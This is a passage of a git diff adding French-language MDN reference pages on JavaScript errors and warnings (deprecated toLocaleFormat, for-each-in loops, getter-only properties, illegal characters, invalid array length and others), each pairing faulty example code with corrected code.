+    methodCount = methods.length,
+    assignStringGeneric = function(methodName) {
+      var method = String.prototype[methodName];
+      String[methodName] = function(arg1) {
+        return method.apply(arg1, Array.prototype.slice.call(arguments, 1));
+      };
+    };
+
+  for (i = 0; i &lt; methodCount; i++) {
+    assignStringGeneric(methods[i]);
+  }
+}());</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array#Les_méthodes_génériques_de_manipulation_de_tableaux">Les méthodes génériques pour les tableaux</a> (également dépréciées).</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/deprecated_tolocaleformat/index.html b/files/fr/web/javascript/reference/erreurs/deprecated_tolocaleformat/index.html
new file mode 100644
index 0000000000..aa920900ad
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/deprecated_tolocaleformat/index.html
@@ -0,0 +1,91 @@
+---
+title: 'Warning: Date.prototype.toLocaleFormat is deprecated'
+slug: Web/JavaScript/Reference/Erreurs/Deprecated_toLocaleFormat
+tags:
+  - Avertissement
+  - JavaScript
+  - Warning
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_toLocaleFormat
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">Warning: Date.prototype.toLocaleFormat is deprecated; consider using Intl.DateTimeFormat instead
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>Un avertissement, l'exécution du script JavaScript n'est pas interrompue.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>La méthode non-standard {{jsxref("Date.prototype.toLocaleFormat")}} est dépréciée et ne devrait plus être utilisée. Elle utilise une chaîne de caractères qui indique le format avec la même syntaxe que la fonction <code>strftime()</code> en C. Cette fonction n'est plus disponible à partir de Firefox 58.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Syntaxe_dépréciée">Syntaxe dépréciée</h3>
+
+<p>La méthode {{jsxref("Date.prototype.toLocaleFormat")}} est dépréciée et sera retirée (aucune prise en charge par les autres navigateurs en dehors de Firefox).</p>
+
+<pre class="brush: js example-bad">var today = new Date();
+var date = today.toLocaleFormat('%A %e %B %Y');
+
+console.log(date);
+// En français
+// "Vendredi 10 mars 2017"</pre>
+
+<h3 id="Utiliser_une_syntaxe_standard_grâce_à_l'API_ECMAScript_Intl">Utiliser une syntaxe standard grâce à l'API ECMAScript Intl</h3>
+
+<p>Le standard ECMA-402 (l'API ECMAScript Intl) définit des objets et méthodes standards qui permettent de mettre en forme des dates et heures (disponible à partir de Chrome 24, de Firefox 29, d'IE11 et de  Safari10).</p>
+
+<p>Si on souhaite uniquement formater une date, on pourra utiliser la méthode {{jsxref("Date.prototype.toLocaleDateString")}}.</p>
+
+<pre class="brush: js example-good">var today = new Date();
+var options = { weekday: 'long', year: 'numeric',
+                month: 'long', day: 'numeric' };
+var date = today.toLocaleDateString('fr-FR', options);
+
+console.log(date);
+// "Vendredi 10 mars 2017"
+</pre>
+
+<p>Si on manipule plus de dates, on peut utiliser l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} qui permet de mettre en cache certains des calculs afin d'avoir une mise en forme rapide (ce qui s'avère utile lorsqu'on a une boucle par exemple) :</p>
+
+<pre class="brush: js example-good">var options = { weekday: 'long', year: 'numeric',
+                month: 'long', day: 'numeric' };
+var dateFormatter = new Intl.DateTimeFormat('de-DE', options)
+
+var dates = [Date.UTC(2012, 11, 20, 3, 0, 0),
+             Date.UTC(2014, 04, 12, 8, 0, 0)];
+
+dates.forEach(date =&gt; console.log(dateFormatter.format(date)));
+
+// "Donnerstag, 20. Dezember 2012"
+// "Montag, 12. Mai 2014"
+</pre>
+
+<h3 id="Utiliser_les_méthodes_de_l'objet_Date">Utiliser les méthodes de l'objet <code>Date</code></h3>
+
+<p>L'objet {{jsxref("Date")}} dispose de plusieurs méthodes qui permettent de construire une chaîne de caractères pour une date donnée. Ainsi</p>
+
+<pre class="brush: js example-bad">(new Date()).toLocaleFormat("%Y%m%d");
+// "20170310"
+</pre>
+
+<p>Pourra être converti en :</p>
+
+<pre class="brush: js example-good">let now = new Date();
+let date = now.getFullYear() * 10000 +
+          (now.getMonth() + 1) * 100 + now.getDate();
+
+console.log(date);
+// "20170310"</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString")}}</li>
+ <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/equal_as_assign/index.html b/files/fr/web/javascript/reference/erreurs/equal_as_assign/index.html
new file mode 100644
index 0000000000..044132307f
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/equal_as_assign/index.html
@@ -0,0 +1,53 @@
+---
+title: 'SyntaxError: test for equality (==) mistyped as assignment (=)?'
+slug: Web/JavaScript/Reference/Erreurs/Equal_as_assign
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Equal_as_assign
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">Warning: SyntaxError: test for equality (==) mistyped as assignment (=)?
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>Uniquement pour Firefox. Un avertissement sous la forme d'une exception {{jsxref("SyntaxError")}}, généré uniquement si la préférence <code>javascript.options.strict</code> vaut <code>true</code>.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Le code utilise une affectation (<code>=</code>) là où on attendrait un test d'égalité (<code>==</code>). Afin d'aider au débogage, le moteur JavaScript déclenche des avertissements lorsqu'il détecte ce motif.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Des_affectations_utilisées_au_sein_d'expressions_conditionnelles">Des affectations utilisées au sein d'expressions conditionnelles</h3>
+
+<p>Il est conseillé de ne pas utiliser d'affectations simples dans des expressions conditionnelles (comme le test effectué avec <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/if...else">if...else</a></code>) car on peut confondre les deux à la lecture du code. Ainsi, on n'utilisera pas la forme suivante :</p>
+
+<pre class="brush: js example-bad">if (x = y) {
+  // do the right thing
+}
+</pre>
+
+<p>Si on doit effectivement affecter une variable dans une expression conditionnelle, on entourera l'affectation d'une paire de parenthèses supplémentaires afin de montrer qu'on veut bien effectuer une affectation, comme ceci :</p>
+
+<pre class="brush: js">if ((x = y)) {
+  // exécuter le code
+}</pre>
+
+<p>Autrement (généralement), on veut plutôt utiliser un opérateur de comparaison (<code>==</code> ou <code>===</code> par exemple) :</p>
+
+<pre class="brush: js">if (x == y) {
+  // exécuter le code
+}</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/if...else">if...else</a></code></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison">Les opérateurs de comparaison</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/for-each-in_loops_are_deprecated/index.html b/files/fr/web/javascript/reference/erreurs/for-each-in_loops_are_deprecated/index.html
new file mode 100644
index 0000000000..42ad693c09
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/for-each-in_loops_are_deprecated/index.html
@@ -0,0 +1,168 @@
+---
+title: 'Warning: JavaScript 1.6''s for-each-in loops are deprecated'
+slug: Web/JavaScript/Reference/Erreurs/For-each-in_loops_are_deprecated
+tags:
+  - Avertissement
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">Warning: JavaScript 1.6's for-each-in loops are deprecated; consider using ES6 for-of instead
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>Avertissement.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>L'instruction {{jsxref("Instructions/for_each...in", "for each (variable in obj)")}} présente à partir de JavaScript 1.6 est une instruction dépréciée et est amenée à disparaître dans un avenir proche.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Itérer_sur_un_objet">Itérer sur un objet</h3>
+
+<p>{{jsxref("Instructions/for_each...in", "for each...in")}} pouvait être utilisé pour parcourir les valeurs contenues dans un objet.</p>
+
+<h4 id="Syntaxe_dépréciée">Syntaxe dépréciée</h4>
+
+<pre class="brush: js example-bad">var objet = { a: 10, b: 20 };
+
+for each (var x in objet) {
+  console.log(x);        // 10
+                         // 20
+}
+</pre>
+
+<h4 id="Syntaxe_alternative_standard">Syntaxe alternative, standard</h4>
+
+<p>On peut désormais utilisé l'instruction de boucle standard {{jsxref("Instructions/for...in", "for...in")}} afin d'itérer sur les clés d'un objet et de récupérer les valeurs des propriétés :</p>
+
+<pre class="brush: js example-good">var objet = { a: 10, b: 20 };
+
+for (var key in objet) {
+  var x = objet[key];
+  console.log(x);        // 10
+                         // 20
+}
+</pre>
+
+<p>Ou alors, on peut utiliser {{jsxref("Instructions/for...of", "for...of")}} (ES2015) et {{jsxref("Object.values")}} (ES2017) afin d'obtenir un tableau des valeurs associées à un objet pour ensuite le parcourir :</p>
+
+<pre class="brush: js example-good">var objet = { a: 10, b: 20 };
+
+for (var x of Object.values(objet)) {
+  console.log(x);        // 10
+                         // 20
+}
+</pre>
+
+<h3 id="Itérer_sur_un_tableau">Itérer sur un tableau</h3>
+
+<p>{{jsxref("Instructions/for_each...in", "for each...in")}} pouvait être utilisée afin de parcourir les éléments d'un tableau.</p>
+
+<h4 id="Syntaxe_dépréciée_2">Syntaxe dépréciée</h4>
+
+<pre class="brush: js example-bad">var array = [10, 20, 30];
+
+for each (var x in array) {
+  console.log(x);        // 10
+                         // 20
+                         // 30
+}
+</pre>
+
+<h4 id="Syntaxe_alternative_standard_2">Syntaxe alternative, standard</h4>
+
+<p>On peut obtenir le même effet avec les boucles {{jsxref("Instructions/for...of", "for...of")}} (ES2015).</p>
+
+<pre class="brush: js example-good">var array = [10, 20, 30];
+
+for (var x of array) {
+  console.log(x);        // 10
+                         // 20
+                         // 30
+}
+</pre>
+
+<h3 id="Parcourir_un_tableau_qui_vaille_null_ou_undefined">Parcourir un tableau qui vaille <code>null</code> ou <code>undefined</code></h3>
+
+<p>{{jsxref("Instructions/for_each...in", "for each...in")}} ne fera rien si la valeur fournie est <code>null</code> ou <code>undefined</code>. En revanche, {{jsxref("Instructions/for...of", "for...of")}} lèvera une exception dans ces cas.</p>
+
+<h4 id="Syntaxe_dépréciée_3">Syntaxe dépréciée</h4>
+
+<pre class="brush: js example-bad">function func(array) {
+  for each (var x in array) {
+    console.log(x);
+  }
+}
+func([10, 20]);        // 10
+                       // 20
+func(null);            // rien ne s'affiche
+func(undefined);       // rien ne s'affiche
+</pre>
+
+<h4 id="Syntaxe_alternative_standard_3">Syntaxe alternative, standard</h4>
+
+<p>Pour réécrire les instructions {{jsxref("Instructions/for_each...in", "for each...in")}} afin que les valeurs <code>null</code> ou <code>undefined</code> puissent être gérées avec {{jsxref("Instructions/for...of", "for...of")}}, il faudra rajouter une protection :</p>
+
+<pre class="brush: js example-good">function func(array) {
+  if (array) {
+    for (var x of array) {
+      console.log(x);
+    }
+  }
+}
+func([10, 20]);        // 10
+                       // 20
+func(null);            // rien ne s'affiche
+func(undefined);       // rien ne s'affiche
+</pre>
+
+<h3 id="Itérer_sur_les_tuples_clé-valeur_d'un_objet">Itérer sur les tuples clé-valeur d'un objet</h3>
+
+<h4 id="Syntaxe_dépréciée_4">Syntaxe dépréciée</h4>
+
+<p>On pouvait utiliser une forme syntaxique particulière, désormais dépréciée, qui combine {{jsxref("Instructions/for_each...in", "for each...in")}} et l'objet déprécié {{jsxref("Iterator")}}.</p>
+
+<pre class="brush: js example-bad">var object = { a: 10, b: 20 };
+
+for each (var [key, value] in Iterator(object)) {
+  console.log(key, value);  // "a", 10
+                            // "b", 20
+}
+</pre>
+
+<h4 id="Syntaxe_alternative_standard_4">Syntaxe alternative, standard</h4>
+
+<p>On peut désormais utiliser la boucle {{jsxref("Instructions/for...in", "for...in")}} afin de parcourir les différentes clés d'un objet pour ensuite récupérer les valeurs associées :</p>
+
+<pre class="brush: js example-good">var object = { a: 10, b: 20 };
+
+for (var key in object) {
+  var value = object[key];
+  console.log(key, value);  // "a", 10
+                            // "b", 20
+}
+</pre>
+
+<p>Ou encore, on peut utiliser {{jsxref("Instructions/for...of", "for...of")}} (ES2015) et {{jsxref("Object.entries")}} (ES2017) pour récupérer un tableau contenant les clés et les valeurs d'un objet qu'on pourra ensuite parcourir :</p>
+
+<pre class="brush: js example-good">var object = { a: 10, b: 20 };
+
+for (var [key, value] of Object.entries(object)) {
+  console.log(key, value);  // "a", 10
+                            // "b", 20
+}
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/for...of", "for...of")}}</li>
+ <li>{{jsxref("Object.values")}}</li>
+ <li>{{jsxref("Object.entries")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/getter_only/index.html b/files/fr/web/javascript/reference/erreurs/getter_only/index.html
new file mode 100644
index 0000000000..eea26eaed4
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/getter_only/index.html
@@ -0,0 +1,84 @@
+---
+title: 'TypeError: setting a property that has only a getter'
+slug: Web/JavaScript/Reference/Erreurs/Getter_only
+tags:
+  - Erreurs
+  - JavaScript
+  - Mode strict
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Getter_only
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: Assignment to read-only properties is not allowed in strict mode (Edge)
+TypeError: setting getter-only property "x" (Firefox)
+TypeError: Cannot set property "prop" of #&lt;Object&gt; which has only a getter (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}, uniquement en <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>On essaie de fournir une nouvelle valeur pour une propriété qui ne dispose que d'un <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/get">accesseur</a>. Ceci échouera en mode non-strict mais lèvera une exception {{jsxref("TypeError")}} en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on voit comment créer un accesseur sur une propriété. En revanche, dans la définition de l'objet, on n'inclut aucun <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/set">mutateur</a> et une exception <code>TypeError</code> sera déclenchée lorsqu'on voudra modifier la propriété <code>temperature</code> pour la passer à <code>30</code>. Pour plus de détails, on pourra consulter la page {{jsxref("Object.defineProperty()")}}.</p>
+
+<pre class="brush: js example-bad">"use strict";
+
+function Archiver() {
+  var temperature = null;
+  Object.defineProperty(this, 'temperature', {
+    get: function() {
+      console.log('get!');
+      return temperature;
+    }
+  });
+}
+
+var arc = new Archiver();
+arc.temperature; // 'get!'
+
+arc.temperature = 30;
+// TypeError: setting a property that has only a getter
+</pre>
+
+<p>Pour corriger cette erreur, soit on retire la ligne 16 (où on tente de modifier la propriété) soit on implémente un mutateur, comme ceci :</p>
+
+<pre class="brush: js example-good highlight[12]">"use strict";
+
+function Archiver() {
+  var temperature = null;
+  var archive = [];
+
+  Object.defineProperty(this, 'temperature', {
+    get: function() {
+      console.log('get!');
+      return temperature;
+    },
+    set: function(value) {
+      temperature = value;
+      archive.push({ val: temperature });
+    }
+  });
+
+  this.getArchive = function() { return archive; };
+}
+
+var arc = new Archiver();
+arc.temperature; // 'get!'
+arc.temperature = 11;
+arc.temperature = 13;
+arc.getArchive(); // [{ val: 11 }, { val: 13 }]</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/identifier_after_number/index.html b/files/fr/web/javascript/reference/erreurs/identifier_after_number/index.html
new file mode 100644
index 0000000000..988d7c9f67
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/identifier_after_number/index.html
@@ -0,0 +1,56 @@
+---
+title: 'SyntaxError: identifier starts immediately after numeric literal'
+slug: Web/JavaScript/Reference/Erreurs/Identifier_after_number
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Identifier_after_number
+---
+<div>{{JSSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: Unexpected identifier after numeric literal (Edge)
+SyntaxError: identifier starts immediately after numeric literal (Firefox)
+SyntaxError: Unexpected number (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Les noms qu'on donne aux variables (aussi appelés « identifiants ») doivent respecter certaines règles…</p>
+
+<p>En JavaScript, un identifiant doit commencer par une lettre, un tiret bas (_) ou un dollar ($), il ne peut pas commencer par un chiffre. Seuls les caractères après le premier peuvent être des chiffres.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Des_variables_dont_le_nom_commence_par_un_chiffre">Des variables dont le nom commence par un chiffre</h3>
+
+<p>En JavaScript, les noms des variables ne peuvent pas commencer par un chiffre. Aussi, le script suivant provoquera des erreurs :</p>
+
+<pre class="brush: js example-bad">var 1vie = 'toto';
+// SyntaxError: identifier starts immediately after numeric literal
+
+var toto = 1vie;
+// SyntaxError: identifier starts immediately after numeric literal
+
+alert(1.toto);
+// SyntaxError: identifier starts immediately after numeric literal
+</pre>
+
+<p>Pour éviter ce problème, il faudra renommer les variables afin d'éviter d'utiliser un chiffre au début :</p>
+
+<pre class="brush: js example-good">var vie1 = 'toto';
+var toto = vie1;
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale">La grammaire lexicale de JavaScript</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Variables">Les variables</a> dans le <a href="/fr/docs/Web/JavaScript/Guide">Guide JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/illegal_character/index.html b/files/fr/web/javascript/reference/erreurs/illegal_character/index.html
new file mode 100644
index 0000000000..1807fd5d72
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/illegal_character/index.html
@@ -0,0 +1,83 @@
+---
+title: 'SyntaxError: illegal character'
+slug: Web/JavaScript/Reference/Erreurs/Illegal_character
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Illegal_character
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: Invalid character (Edge)
+SyntaxError: illegal character (Firefox)
+SyntaxError: Invalid or unexpected token (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Dans le code, il y a un élément de la syntaxe qui n'est pas à la bonne place. Pour détecter les erreurs de ce type, vous pouvez utiliser un éditeur de texte qui prend en charge la coloration syntaxique et qui met en évidence les caractères problématiques (par exemple si on a utilisé un tiret (<code> – </code>) au lieu d'un moins ( - ) ou des guillemets anglais (<code> “ </code>) à la place de doubles quotes ( " ).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Caractères_ressemblants">Caractères ressemblants</h3>
+
+<p>Certains caractères ressemblent à des caractères spéciaux en JavaScript mais n'en sont pas. Dans ce cas, lorsque le moteur analysera le code, il échouera.</p>
+
+<pre class="brush: js example-bad">“Ceci ressemble à une chaîne de caractères.”;
+// “ n'est pas le caractère "
+// SyntaxError: illegal character
+
+42 – 13;
+// – n'est pas le caractère -
+// SyntaxError: illegal character
+
+var toto = "truc";
+// ; (&lt;37e&gt;) n'est pas le caractère ;
+// SyntaxError: illegal character
+</pre>
+
+<p>On peut corriger ce point en utilisant les bons caractères :</p>
+
+<pre class="brush: js example-good">"Ceci est vraiment une chaîne de caractères.";
+42 - 13;
+var toto = "truc";
+</pre>
+
+<p>Certains éditeurs et environnements de développement intégrés indiqueront la présence de tels caractères avec une coloration syntaxique différente. Toutefois, tous les éditeurs n'ont pas une telle fonctionnalité et si vous n'arrivez pas à déterminer l'origine du problème, il vaudra sans doute mieux supprimer la ligne incriminée et la resaisir manuellement.</p>
+
+<h3 id="Caractères_oubliés">Caractères oubliés</h3>
+
+<p>On oublie parfois un caractère.</p>
+
+<pre class="brush: js example-bad">var couleurs = ['#000', #333', '#666'];
+// SyntaxError: illegal character
+</pre>
+
+<p>Dans ce cas, il suffit de rajouter la quote pour <code><strong>'</strong>#333'</code>.</p>
+
+<pre class="brush: js example-good">var couleurs = ['#000', '#333', '#666'];</pre>
+
+<h3 id="Caractères_cachés">Caractères cachés</h3>
+
+<p>Lorsque vous copiez/collez du code depuis des sources externes, celles-ci peuvent contenir des caractères invalides difficiles à discerner.</p>
+
+<pre class="brush: js example-bad">var toto = 'truc';​
+// SyntaxError: illegal character
+</pre>
+
+<p>Lorsqu'on inspecte ce code grâce à un éditeur de texte (par exemple Vim), on peut voir qu'il y en fait un <a href="https://fr.wikipedia.org/wiki/Espace_sans_chasse">espace sans chasse (ZWSP) (U+200B)</a>.</p>
+
+<pre class="brush: js">var toto = 'truc';​&lt;200b&gt;</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale">La grammaire lexicale de JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/in_operator_no_object/index.html b/files/fr/web/javascript/reference/erreurs/in_operator_no_object/index.html
new file mode 100644
index 0000000000..18aed9f10b
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/in_operator_no_object/index.html
@@ -0,0 +1,73 @@
+---
+title: 'TypeError: invalid ''in'' operand "x"'
+slug: Web/JavaScript/Reference/Erreurs/in_operator_no_object
+tags:
+  - Erreurs
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/in_operator_no_object
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: Invalid operand to 'in' (Edge)
+TypeError: right-hand side of 'in' should be an object, got 'x' (Firefox)
+TypeError: cannot use 'in' operator to search for 'x' in 'y' (Firefox, Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>L'<a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_in">opérateur <code>in</code></a> peut uniquement être utilisé pour vérifier qu'une propriété appartient à un objet. Il ne peut pas être utilisé pour rechercher des caractères dans des chaînes de caractères, des nombres ou dans d'autres types de données en dehors des objets.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Rechercher_un_texte_dans_une_chaîne_de_caractères">Rechercher un texte dans une chaîne de caractères</h3>
+
+<p>À la différence de certains langages de programmation (Python par exemple), JavaScript ne permet pas de chercher des textes dans une chaîne de caractères grâce à l'opérateur <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_in"><code>in</code></a>.</p>
+
+<pre class="brush: js example-bad">"Coucou" in "Coucou monde";
+// TypeError: cannot use 'in' operator to search for 'Coucou' in 'Coucou monde'
+</pre>
+
+<p>On utilisera plutôt la méthode {{jsxref("String.prototype.indexOf()")}} :</p>
+
+<pre class="brush: js example-good">"Coucou monde".indexOf("Coucou") !== -1;
+// true</pre>
+
+<h3 id="null_ou_undefined_ne_fonctionnent_pas"><code>null</code> ou <code>undefined</code> ne fonctionnent pas</h3>
+
+<p>Avant d'utiliser <code>in</code>, il faut s'assurer que la valeur qu'on inspecte n'est pas {{jsxref("null")}} ou {{jsxref("undefined")}}.</p>
+
+<pre class="brush: js example-bad">var toto = null;
+"truc" in toto;
+// TypeError: cannot use 'in' operator to search for 'truc' in 'toto" (Chrome)
+// TypeError: right-hand side of 'in' should be an object, got null (Firefox)
+</pre>
+
+<p>L'opérateur <code>in</code> doit être utilisé avec un objet.</p>
+
+<pre class="brush: js example-good">var toto = { machin: "bidule" };
+"truc" in toto; // false
+
+"PI" in Math; // true
+"pi" in Math; // false
+</pre>
+
+<h3 id="Rechercher_dans_un_tableau">Rechercher dans un tableau</h3>
+
+<p>Attention lorsqu'on utilise l'opérateur <code>in</code> quand on recherche une valeur dans un objet {{jsxref("Array")}}. L'opérateur <code>in</code> vérifie la présence de l'index mais pas la valeur présente à cet index.</p>
+
+<pre class="brush: js">var arbres = ['cèdre', 'bouleau', 'pin', 'sapin', 'érable'];
+3 in arbres; // true
+"pin" in arbres; // false</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_in">L'opérateur <code>in</code></a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/index.html b/files/fr/web/javascript/reference/erreurs/index.html
new file mode 100644
index 0000000000..a6ac12300b
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/index.html
@@ -0,0 +1,23 @@
+---
+title: Référence des erreurs JavaScript
+slug: Web/JavaScript/Reference/Erreurs
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Errors
+---
+<p>{{jsSidebar("Errors")}}</p>
+
+<p><em>Errare ECMAScript est</em>…<br>
+ Vous trouverez ci-après une liste d'erreurs causées par le moteur JavaScript. Ces erreurs peuvent aider à déboguer certains problèmes mais leur signification n'est pas toujours claire. Chacune de ces pages fournit donc des explications et informations supplémentaires à propos de ces erreurs.</p>
+
+<p>D'un point de vue technique, chaque erreur est un objet {{jsxref("Error")}} et possède une propriété <code>name</code> (son nom) et une propriété <code>message</code>.</p>
+
+<h2 id="Liste_d'erreurs">Liste d'erreurs</h2>
+
+<p>{{ListSubPages("/fr/docs/Web/JavaScript/Reference/Erreurs")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Learn/JavaScript/First_steps/What_went_wrong">Qu'est-ce qui a cloché ? Diagnostiquer un problème JavaScript</a> : un tutoriel introductif pour réparer les erreurs JavaScript</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/invalid_array_length/index.html b/files/fr/web/javascript/reference/erreurs/invalid_array_length/index.html
new file mode 100644
index 0000000000..45b4dad5a6
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/invalid_array_length/index.html
@@ -0,0 +1,79 @@
+---
+title: 'RangeError: invalid array length'
+slug: Web/JavaScript/Reference/Erreurs/Invalid_array_length
+tags:
+  - Erreurs
+  - JavaScript
+  - RangeError
+translation_of: Web/JavaScript/Reference/Errors/Invalid_array_length
+---
+<div>{{jsSidebar("Erreurs")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">RangeError: Array length must be a finite positive integer (Edge)
+RangeError: invalid array length (Firefox)
+RangeError: Invalid array length (Chrome)
+RangeError: Invalid array buffer length (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Deux cas de figures peuvent causer cette erreur :</p>
+
+<ul>
+ <li>La création d'un tableau {{jsxref("Array")}} ou {{jsxref("ArrayBuffer")}} dont la longueur est négative ou supérieure ou égale à 2<sup>32</sup></li>
+ <li>La modification de la propriété {{jsxref("Array.length")}} pour que celle-ci ait une valeur négative ou supérieure ou égale à 2<sup>32</sup>.</li>
+</ul>
+
+<p>Les tailles des objets <code>Array</code> et <code>ArrayBuffer</code> sont limitées car leurs longueurs (<code>length</code>) sont représentées par des entiers non-signés sur 32 bits. Ces valeurs sont donc nécessairement comprises dans l'intervalle allant de 0 à 2<sup>32</sup>-1.</p>
+
+<p>Si vous utilisez le constructeur pour <code>Array</code>, il est probable que vous souhaitiez utiliser la notation littérale plutôt que le constructeur. En effet, le premier argument de ce constructeur correspond à la longueur du tableau.</p>
+
+<p>Sinon, vous pouvez réduire la longueur utilisée afin que celle-ci soit dans l'intervalle valide avant de l'utiliser pour une telle création ou modification.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<pre class="brush: js example-bad">new Array(Math.pow(2, 40))
+new Array(-1)
+new ArrayBuffer(Math.pow(2, 32))
+new ArrayBuffer(-1)
+
+let a = [];
+a.length = a.length - 1;         // set -1 to the length property
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = b.length + 1;         // set 2^32 to the length property
+</pre>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
